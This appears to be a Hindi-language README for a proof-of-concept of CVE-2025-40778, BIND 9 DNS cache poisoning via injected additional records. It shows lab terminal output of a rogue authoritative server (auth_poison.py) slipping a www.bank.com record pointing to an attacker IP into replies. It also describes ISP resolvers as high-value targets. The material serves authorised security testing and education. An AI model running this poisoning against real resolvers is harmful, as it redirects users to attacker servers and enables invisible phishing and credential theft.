
प्रूफ-ऑफ-कॉन्सेप्ट जो BIND 9 में अतिरिक्त रिकॉर्ड इंजेक्शन के माध्यम से DNS कैश पॉइज़निंग प्रदर्शित करता है, साथ ही अधिकृत सुरक्षा परीक्षण के लिए CVE-2025-40778 को मान्य और शोषण करने के उपकरणों के साथ।
अतिरिक्त रिकॉर्ड इंजेक्शन के माध्यम से DNS कैश पॉइज़निंग भेद्यता का शैक्षिक प्रदर्शन।
केवल शैक्षिक उद्देश्यों के लिए
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इस टूल का अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अवैध और अनैतिक है।
लेखक इस टूल के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।
यह PoC प्रदर्शित करता है कि कैसे एक समझौता किया गया प्राधिकृत DNS सर्वर DNS प्रतिक्रियाओं में ज़हरीले रिकॉर्ड इंजेक्ट कर सकता है, संभावित रूप से उपयोगकर्ताओं को उनकी जानकारी के बिना दुर्भावनापूर्ण सर्वरों पर पुनर्निर्देशित कर सकता है।
हमला वेक्टर:
संभावित परिदृश्य:
👤 लेखक और संपर्क
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
यह टूल पता लगाता है कि क्या भेद्यता CVE-2025-40778 का शोषण करना संभव है
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
विवरण: इस चरण में, आप दुर्भावनापूर्ण प्राधिकृत DNS सर्वर लॉन्च करते हैं जो एक समझौता किए गए नेमसर्वर का अनुकरण करता है। सर्वर एक विशिष्ट IP और पोर्ट (127.0.0.2:5301) पर सुनता है, प्रतिक्रियाओं में ज़हरीले DNS रिकॉर्ड इंजेक्ट करने के लिए तैयार। कॉन्फ़िगर होने पर, यह www.test.local के लिए वैध क्वेरी का सही IP पते के साथ जवाब देगा, लेकिन साथ ही www.bank.com के लिए एक दुर्भावनापूर्ण रिकॉर्ड इंजेक्ट करेगा जो हमलावर-नियंत्रित IP की ओर इशारा करता है। यह दोहरी-प्रतिक्रिया व्यवहार कैश पॉइज़निंग हमले का मूल है - भेद्य DNS रिज़ॉल्वर वैध उत्तर और ज़हरीला रिकॉर्ड दोनों को कैश करेगा, भले ही केवल एक डोमेन का अनुरोध किया गया हो।
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
विवरण: यहां आप अपने स्थानीय रिज़ॉल्वर (BIND) के माध्यम से एक मानक DNS क्वेरी करते हैं ताकि यह सत्यापित किया जा सके कि इंफ्रास्ट्रक्चर सही ढंग से काम कर रहा है। www.test.local के लिए क्वेरी को अपेक्षित रूप से वैध IP पता (192.168.0.136) लौटाना चाहिए। इस बिंदु पर, अंतिम उपयोगकर्ता को प्रतिक्रिया सामान्य दिखती है - समझौते का कोई दृश्य संकेत नहीं है। हालांकि, पर्दे के पीछे, भेद्य DNS रिज़ॉल्वर ने पहले ही दोनों रिकॉर्ड कैश कर लिए हैं: वैध रिकॉर्ड जिसे आपने अनुरोध किया था और www.bank.com के लिए ज़हरीला रिकॉर्ड जो प्रतिक्रिया के अतिरिक्त अनुभाग में इंजेक्ट किया गया था। यह चरण पुष्टि करता है कि आपका DNS रिज़ॉल्वर दुर्भावनापूर्ण प्राधिकृत सर्वर के साथ सफलतापूर्वक संवाद करता है और उसकी प्रतिक्रिया को संसाधित करता है।
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
विवरण: यह चरण हमलावर के दृष्टिकोण से सफल कैश पॉइज़निंग का सबूत प्रकट करता है। दुर्भावनापूर्ण DNS सर्वर के लॉग दिखाते हैं कि उसने www.test.local के लिए क्वेरी प्राप्त की, वैध उत्तर के साथ जवाब दिया, और www.bank.com के लिए ज़हर रिकॉर्ड सफलतापूर्वक इंजेक्ट किया। "RRs: A,A" संकेतन इंगित करता है कि प्रतिक्रिया में दो A रिकॉर्ड भेजे गए थे - एक वैध, एक दुर्भावनापूर्ण। इस क्षण, पीड़ित का DNS कैश समझौता हो चुका है। इस रिज़ॉल्वर से www.bank.com के लिए कोई भी बाद की क्वेरी वास्तविक बैंकिंग वेबसाइट के बजाय हमलावर का IP (192.168.0.100) लौटाएगी, जिससे पारदर्शी फ़िशिंग हमले सक्षम होते हैं जहां उपयोगकर्ता सही URL देखते हैं लेकिन दुर्भावनापूर्ण सर्वर से जुड़ते हैं। हमला अंतिम उपयोगकर्ताओं के लिए अदृश्य है और DNS कैश समाप्त होने (TTL) तक बना रहेगा।
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
व्यवहार में इसका क्या अर्थ है:
कल्पना करें कि आप एक नियमित उपयोगकर्ता हैं जो अपने बैंक की वेबसाइट तक पहुंचने का प्रयास कर रहा है। आप ध्यान से अपने ब्राउज़र में www.bank.com टाइप करते हैं - URL 100% सही है, कोई टाइपो नहीं, ईमेल से कोई संदिग्ध लिंक नहीं। आपके ब्राउज़र का एड्रेस बार वही डोमेन दिखाता है जिस पर आप भरोसा करते हैं। सब कुछ वैध दिखता है।
लेकिन पर्दे के पीछे वास्तव में यही हुआ:
आपकी कंपनी का DNS सर्वर एक हमलावर द्वारा समझौता किया गया था जिसने इस भेद्यता का उपयोग करके उसका कैश ज़हर किया। जब आपका कंप्यूटर पूछता है "www.bank.com कहां है?", ज़हरीला DNS वास्तविक बैंक के पते के बजाय हमलावर के सर्वर IP पते के साथ जवाब देता है।
हमले की संरचना
हमलावर क्या चुरा सकता है:
यह इतना खतरनाक क्यों है:
यह हमला पीड़ित के लिए पूरी तरह से अदृश्य है। कोई चेतावनी नहीं, कोई लाल झंडे नहीं, औसत उपयोगकर्ता के लिए इसे पहचानने का कोई तरीका नहीं। यहां तक कि सुरक्षा-जागरूक पेशेवर भी शिकार हो सकते हैं क्योंकि हमला इंफ्रास्ट्रक्चर स्तर पर होता है, उपयोगकर्ता के डिवाइस पर नहीं। एक समझौता किया गया DNS सर्वर एक साथ हजारों उपयोगकर्ताओं को प्रभावित कर सकता है, जिससे यह संगठनों को लक्षित करने वाले साइबर अपराधियों के लिए एक अत्यधिक प्रभावी हमला वेक्टर बन जाता है।
मुख्य बात: CVE-2025-40778 हमलावरों को विश्वास को हथियार बनाने में सक्षम बनाता है। जब इंटरनेट पर नेविगेट करने के लिए हम जिस इंफ्रास्ट्रक्चर पर भरोसा करते हैं वह समझौता हो जाता है, तो सबसे सतर्क उपयोगकर्ता भी भेद्य हो जाते हैं। यही कारण है कि किसी भी संगठन की सुरक्षा स्थिति के लिए इस भेद्यता को समझना, परीक्षण करना और कम करना महत्वपूर्ण है।
महत्वपूर्ण आवश्यकता: इस हमले के सफल होने के लिए, पीड़ित को समझौता किए गए DNS रिज़ॉल्वर का उपयोग करना चाहिए। हमला सीधे अंतिम उपयोगकर्ताओं के डिवाइसों को लक्षित नहीं करता है - इसके बजाय, यह DNS इंफ्रास्ट्रक्चर को लक्षित करता है जिस पर उपयोगकर्ता इंटरनेट पर नेविगेट करने के लिए निर्भर हैं।
वास्तविक-विश्व हमला लक्ष्य:
हमलावर का प्राथमिक उद्देश्य DNS रिज़ॉल्वरों को समझौता करना है जो बड़े उपयोगकर्ता आधारों की सेवा करते हैं। सबसे मूल्यवान लक्ष्यों में शामिल हैं:
यह क्यों मायने रखता है:
हमले की प्रभावशीलता DNS रिज़ॉल्वर के उपयोगकर्ता आधार के साथ बढ़ती है। एक ISP के DNS सर्वर को समझौता करें, और आप संभावित रूप से हर उस ग्राहक को समझौता करते हैं जिसने मैन्युअल रूप से अपनी DNS सेटिंग्स नहीं बदली हैं। यही कारण है कि इंफ्रास्ट्रक्चर स्तर पर DNS सुरक्षा महत्वपूर्ण है - एक एकल भेद्य रिज़ॉल्वर एक विशाल हमला सतह बना सकता है जो हजारों या लाखों उपयोगकर्ताओं को प्रभावित करता है जो उस इंफ्रास्ट्रक्चर पर सुरक्षित होने के लिए भरोसा करते हैं।